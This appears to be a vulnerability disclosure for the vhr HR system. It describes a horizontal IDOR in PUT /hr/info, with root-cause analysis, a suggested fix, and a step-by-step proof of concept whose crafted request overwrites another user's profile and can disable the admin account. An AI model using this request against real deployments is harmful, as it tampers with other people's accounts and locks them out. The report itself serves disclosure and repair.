Horizontal IDOR in PUT /hr/info allows any authenticated user to overwrite any other user's profile
reported via email on 3 June 2026; no response.
I'm writing to report a horizontal insecure direct object reference (IDOR) vulnerability in vhr (微人事), confirmed on the current master branch (commit 03abbd3).
Summary
The PUT /hr/info endpoint, intended for a user to update their own profile, accepts the target record's database id from the JSON request body without verifying that it matches the authenticated user's own id. Any authenticated session -- regardless of role -- can overwrite any other HR account's profile by supplying a different user's id in the body.
Root cause
HrInfoController.updateHr (vhr-web/.../controller/HrInfoController.java, lines 41-47) passes the deserialized Hr object directly to hrMapper.updateByPrimaryKeySelective(hr). The WHERE clause in the MyBatis mapper uses hr.getId(), which comes entirely from the client-controlled JSON body. The endpoint never compares this id against authentication.getPrincipal().getId().
PoC
Step 1 -- Log in as a low-privilege user (hanyu, id=10, ROLE_recruiter):
POST /doLogin body: {"username":"hanyu","password":"123","code":"<captcha>"}
-> HTTP 200, session cookie set, id=10 confirmed in response.Step 2 -- Overwrite libai's (id=5) profile using hanyu's session:
PUT /hr/info Cookie: JSESSIONID=<hanyu session>
body: {"id":5,"name":"HACKED_BY_HANYU","address":"attacker_controlled","enabled":true}
-> HTTP 200 {"status":200,"msg":"更新成功!","obj":null}Step 3 -- Confirm in MySQL:
SELECT id, name, address FROM hr WHERE id=5;
-> 5 | HACKED_BY_HANYU | attacker_controlledThe attack works against any account, including the admin account (id=3). Setting enabled=false locks the target out.
Suggested fix
Bind the update to the authenticated principal's own id:
Hr principal = (Hr) authentication.getPrincipal();
hr.setId(principal.getId());Source: lenve/vhr